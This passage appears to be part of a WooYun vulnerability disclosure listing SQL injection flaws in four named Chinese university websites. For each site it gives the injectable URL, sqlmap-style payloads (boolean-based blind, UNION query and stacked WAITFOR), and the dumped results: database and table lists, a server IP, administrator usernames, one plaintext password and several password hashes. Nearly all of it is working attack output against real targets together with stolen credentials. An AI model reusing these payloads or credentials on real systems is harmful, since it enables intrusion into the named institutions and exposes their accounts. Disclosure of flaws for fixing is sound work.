WooYun.org

4.辽宁某科技学院多处SQL注射可导致帐号密码泄漏
注入:http://yj.lnist.edu.cn/column.asp?id=1
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 7141=7141
current database: None
current user: None
Table found: users
Table found: links
Total tables found: 2
Column found: username
Column found: password
Column found: now
Column found: userid
Total columns found: 4
Column found: now
Total tables found: 1
Database: Microsoft_Access_masterdb
Table: users
[1 entry]
+----------+
| username |
+----------+
| cr |
+----------+
Database: Microsoft_Access_masterdb
Table: users
[1 entry]
+----------+
| password |
+----------+
| 791005 |
+----------+
5.山东某大学生在线站点之多处SQL注射
献上注入点:http://www.online.sdu.edu.cn/sports/article.php?pid=636529090
Host IP: 202.194.15.193
Web Server: nginx/1.0.14
Powered-by: PHP/5.2.14
DB Server: MySQL
Current DB: ol7_cms
current database: 'ol7_cms'
current user: 'root@202.194.15.193'
Table found: 14FIFA_VOTE
Table found: 14FIFA_VOTE_IP
Table found: Temp_udf
Table found: app_application
Table found: app_block
Table found: app_department
Table found: auth_group
Table found: auth_group_permissions
Table found: auth_permission
Table found: auth_user
Table found: auth_user_groups
Table found: auth_user_user_permissions
Table found: bus_compus
Table found: bus_control
Table found: bus_new_path
Table found: bus_new_place
Table found: bus_new_time
Table found: bus_path
Table found: bus_place
Table found: bus_summer
Table found: bus_summer_holiday
Table found: bus_time
Table found: bus_winter
Table found: bus_winter_holiday
Table found: channel
Table found: choice
Table found: daoyuan_article
Table found: daoyuan_block
Table found: daoyuan_subject
Table found: diaocha_text
Table found: django_admin_log
Table found: django_content_type
Table found: django_session
Table found: garden
Table found: get_ip
Table found: iactivity_comment
Table found: iactivity_feedback
Table found: iactivity_friends
Table found: iactivity_likes
Table found: iactivity_message
Table found: iactivity_passage
Table found: iactivity_type
Table found: iactivity_user
Table found: lesson_info
Table found: liuyan
Table found: m_block
Table found: m_comment
Table found: m_users
Table found: manage
Table found: movies
Table found: new_actions
Table found: new_application
Table found: new_apply_department
Table found: new_assignment
Table found: new_attachment
Table found: new_block
Table found: new_blocktype
Table found: new_column
Table found: new_column_type
Table found: new_comment
Table found: new_counter
Table found: new_department
Table found: new_link
Table found: new_links
Table found: new_mark
Table found: new_menu
Table found: new_message
Table found: new_passage
Table found: new_passage1
Table found: new_passtemp
Table found: new_picture
Table found: new_s_2012football_scoreboard
Table found: new_s_article
Table found: new_s_block
Table found: new_subject
Table found: new_t_attachment
Table found: new_t_discussion
Table found: new_t_member
Table found: new_t_milestone
Table found: new_t_task
Table found: new_topic
Table found: new_users
Table found: new_usertype
Table found: new_w_counter
Table found: new_works
Table found: og_comment
Table found: og_describe
Table found: og_topic
Table found: pas_basic
Table found: section
Table found: subject
Table found: title
Table found: tushi
Table found: tushi_album
Table found: tushi_authority
Table found: tushi_clip
Table found: tushi_magazine
Table found: tushi_pic_adjust
Table found: tushi_pic_rules
Table found: tushi_picture
Table found: tushi_picture_3
Table found: tushi_series
Table found: tushi_series_3
Table found: tushi_vedio
Table found: tushi_visit
Table found: tushi_watermark
Table found: tv_channel
Table found: tv_mms
Table found: tv_program
Table found: udf_temp
Table found: uploadfile
Table found: vote_c
Table found: vote_get_ip
Table found: vote_m
Table found: voteimage
Table found: web_page_content
Table found: website_labrary
Table found: zixishi_building
Table found: zixishi_class
Table found: zixishi_compus
Table found: zixishi_exam
Table found: zixishi_exam_month
Table found: zixishi_room
Table found: zixishi_weeks
Table found: manage
Column found: names
Column found: pass
Column found: id
Column found: col_present
Data Found: names=123
Data Found: pass=123
6.新疆某医科大学学院多处SQL注射可导致管理数据泄漏
注入:http://www1.xjmu.edu.cn/hbxy/list_page_1.asp?classid=4
Place: GET
Parameter: classid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: classid=4 AND 8575=8575
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
current database: None
current user: None
Database: Microsoft_Access_masterdb
[2 tables]
+---------+
| admin |
| article |
+---------+
Database: Microsoft_Access_masterdb
Table: admin
[4 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| classid | numeric |
| id | numeric |
| password | non-numeric |
| username | non-numeric |
+----------+-------------+
Database: Microsoft_Access_masterdb
Table: admin
[1 entry]
+-----------+
| username |
+-----------+
| 365274567 |
+-----------+
Database: Microsoft_Access_masterdb
Table: admin
[1 entry]
+------------------+
| password |
+------------------+
| 27a84aa3138885ce |
+------------------+
7.广西科技大学某学院之SQL注射 数据泄漏
注入:http://www.lzls.gxut.edu.cn:801/so.asp?key=
Place: GET
Parameter: key
Type: UNION query
Title: Generic UNION query (NULL) - 15 columns
Payload: key=' UNION ALL SELECT NULL, CHAR(58)+CHAR(107)+CHAR(118)+CHAR(116)
+CHAR(58)+CHAR(79)+CHAR(81)+CHAR(105)+CHAR(120)+CHAR(114)+CHAR(103)+CHAR(78)+CHA
R(84)+CHAR(80)+CHAR(68)+CHAR(58)+CHAR(113)+CHAR(112)+CHAR(97)+CHAR(58), NULL, NU
LL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: key='; WAITFOR DELAY '0:0:5';--
available databases [9]:
[*] db_lsguanwang
[*] jyweb
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
[*] zhaosheng
Database: tempdb
[2 tables]
+--------------------------------------------------+
| dbo.sysconstraints |
| dbo.syssegments |
+--------------------------------------------------+
Database: jyweb
[12 tables]
+--------------------------------------------------+
| dbo.HN_feed |
| dbo.HN_news |
| dbo.HN_newscla |
| dbo.admin |
| dbo.base |
| dbo.com |
| dbo.dtproperties |
| dbo.klink |
| dbo.link |
| dbo.sysconstraints |
| dbo.syssegments |
| dbo.zph |
+--------------------------------------------------+
Database: pubs
[14 tables]
+--------------------------------------------------+
| dbo.authors |
| dbo.discounts |
| dbo.employee |
| dbo.jobs |
| dbo.pub_info |
| dbo.publishers |
| dbo.roysched |
| dbo.sales |
| dbo.stores |
| dbo.sysconstraints |
| dbo.syssegments |
| dbo.titleauthor |
| dbo.titles |
| dbo.titleview |
+--------------------------------------------------+
Database: db_lsguanwang
[1 table]
+--------------------------------------------------+
| dbo.[\x03] |
+--------------------------------------------------+
Database: master
[36 tables]
+--------------------------------------------------+
| dbo.MSreplication_options |
| dbo.[INFORMATION_SCHEMA.CHECK_CONSTRAINTS] |
| dbo.[INFORMATION_SCHEMA.COLUMNS] |
| dbo.[INFORMATION_SCHEMA.COLUMN_DOMAIN_USAGE] |
| dbo.[INFORMATION_SCHEMA.COLUMN_PRIVILEGES] |
| dbo.[INFORMATION_SCHEMA.CONSTRAINT_COLUMN_USAGE] |
| dbo.[INFORMATION_SCHEMA.CONSTRAINT_TABLE_USAGE] |
| dbo.[INFORMATION_SCHEMA.DOMAINS] |
| dbo.[INFORMATION_SCHEMA.DOMAIN_CONSTRAINTS] |
| dbo.[INFORMATION_SCHEMA.KEY_COLUMN_USAGE] |
| dbo.[INFORMATION_SCHEMA.PARAMETERS] |
| dbo.[INFORMATION_SCHEMA.REFERENTIAL_CONSTRAINTS] |
| dbo.[INFORMATION_SCHEMA.ROUTINES] |
| dbo.[INFORMATION_SCHEMA.ROUTINE_COLUMNS] |
| dbo.[INFORMATION_SCHEMA.SCHEMATA] |
| dbo.[INFORMATION_SCHEMA.TABLES] |
| dbo.[INFORMATION_SCHEMA.TABLE_CONSTRAINTS] |
| dbo.[INFORMATION_SCHEMA.TABLE_PRIVILEGES] |
| dbo.[INFORMATION_SCHEMA.VIEWS] |
| dbo.[INFORMATION_SCHEMA.VIEW_COLUMN_USAGE] |
| dbo.[INFORMATION_SCHEMA.VIEW_TABLE_USAGE] |
| dbo.spt_datatype_info |
| dbo.spt_datatype_info_ext |
| dbo.spt_fallback_db |
| dbo.spt_fallback_dev |
| dbo.spt_fallback_usg |
| dbo.spt_monitor |
| dbo.spt_provider_types |
| dbo.spt_server_info |
| dbo.spt_values |
| dbo.sysconstraints |
| dbo.syslogins |
| dbo.sysoledbusers |
| dbo.sysopentapes |
| dbo.sysremotelogins |
| dbo.syssegments |
+--------------------------------------------------+
Database: msdb
[82 tables]
+--------------------------------------------------+
| dbo.RTblClassDefs |
| dbo.RTblDBMProps |
| dbo.RTblDBXProps |
| dbo.RTblDTMProps |
| dbo.RTblDTSProps |
| dbo.RTblDatabaseVersion |
| dbo.RTblEQMProps |
| dbo.RTblEnumerationDef |
| dbo.RTblEnumerationValueDef |
| dbo.RTblGENProps |
| dbo.RTblIfaceDefs |
| dbo.RTblIfaceHier |
| dbo.RTblIfaceMem |
| dbo.RTblMDSProps |
| dbo.RTblNamedObj |
| dbo.RTblOLPProps |
| dbo.RTblParameterDef |
| dbo.RTblPropDefs |
| dbo.RTblProps |
| dbo.RTblRelColDefs |
| dbo.RTblRelshipDefs |
| dbo.RTblRelshipProps |
| dbo.RTblRelships |
| dbo.RTblSIMProps |
| dbo.RTblScriptDefs |
| dbo.RTblSites |
| dbo.RTblSumInfo |
| dbo.RTblTFMProps |
| dbo.RTblTypeInfo |
| dbo.RTblTypeLibs |
| dbo.RTblUMLProps |
| dbo.RTblUMXProps |
| dbo.RTblVersionAdminInfo |
| dbo.RTblVersions |
| dbo.RTblWorkspaceItems |
| dbo.backupfile |
| dbo.backupmediafamily |
| dbo.backupmediaset |
| dbo.backupset |
| dbo.log_shipping_databases |
| dbo.log_shipping_monitor |
| dbo.log_shipping_plan_databases |
| dbo.log_shipping_plan_history |
| dbo.log_shipping_plans |
| dbo.log_shipping_primaries |
| dbo.log_shipping_secondaries |
| dbo.logmarkhistory |
| dbo.mswebtasks |
| dbo.restorefile |
| dbo.restorefilegroup |
| dbo.restorehistory |
| dbo.sqlagent_info |
| dbo.sysalerts |
| dbo.syscachedcredentials |
| dbo.syscategories |
| dbo.sysconstraints |
| dbo.sysdbmaintplan_databases |
| dbo.sysdbmaintplan_history |
| dbo.sysdbmaintplan_jobs |
| dbo.sysdbmaintplans |
| dbo.sysdownloadlist |
| dbo.sysdtscategories |
| dbo.sysdtspackagelog |
| dbo.sysdtspackages |
| dbo.sysdtssteplog |
| dbo.sysdtstasklog |
| dbo.sysjobhistory |
| dbo.sysjobs |
| dbo.sysjobs_view |
| dbo.sysjobschedules |
| dbo.sysjobservers |
| dbo.sysjobsteps |
| dbo.sysnotifications |
| dbo.sysoperators |
| dbo.syssegments |
| dbo.systargetservergroupmembers |
| dbo.systargetservergroups |
| dbo.systargetservers |
| dbo.systargetservers_view |
| dbo.systaskids |
| dbo.systasks |
| dbo.systasks_view |
+--------------------------------------------------+
Database: Northwind
[31 tables]
+--------------------------------------------------+
| dbo.Categories |
| dbo.CustomerCustomerDemo |
| dbo.CustomerDemographics |
| dbo.Customers |
| dbo.EmployeeTerritories |
| dbo.Employees |
| dbo.Invoices |
| dbo.Orders |
| dbo.Products |
| dbo.Region |
| dbo.Shippers |
| dbo.Suppliers |
| dbo.Territories |
| dbo.[Alphabetical list of products] |
| dbo.[Category Sales for 1997] |
| dbo.[Current Product List] |
| dbo.[Customer and Suppliers by City] |
| dbo.[Order Details Extended] |
| dbo.[Order Details] |
| dbo.[Order Subtotals] |
| dbo.[Orders Qry] |
| dbo.[Product Sales for 1997] |
| dbo.[Products Above Average Price] |
| dbo.[Products by Category] |
| dbo.[Quarterly Orders] |
| dbo.[Sales Totals by Amount] |
| dbo.[Sales by Category] |
| dbo.[Summary of Sales by Quarter] |
| dbo.[Summary of Sales by Year] |
| dbo.sysconstraints |
| dbo.syssegments |
+--------------------------------------------------+
current database: 'jyweb'
current user: 'Jiuye'
Database: jyweb
Table: dbo.admin
[5 columns]
+------------+----------+
| Column | Type |
+------------+----------+
| admin_id | int |
| admin_name | nvarchar |
| admin_pass | nvarchar |
| mingcheng | nvarchar |
| quan | int |
+------------+----------+
Database: jyweb
Table: dbo.admin
[2 entries]
+------------+
| admin_name |
+------------+
| lsjy |
| lsyl |
+------------+
Database: jyweb
Table: dbo.admin
[2 entries]
+------------------+
| admin_pass |
+------------------+
| 26d90b86f7adb7b2 |
| 26d90b86f7adb7b2 |
+------------------+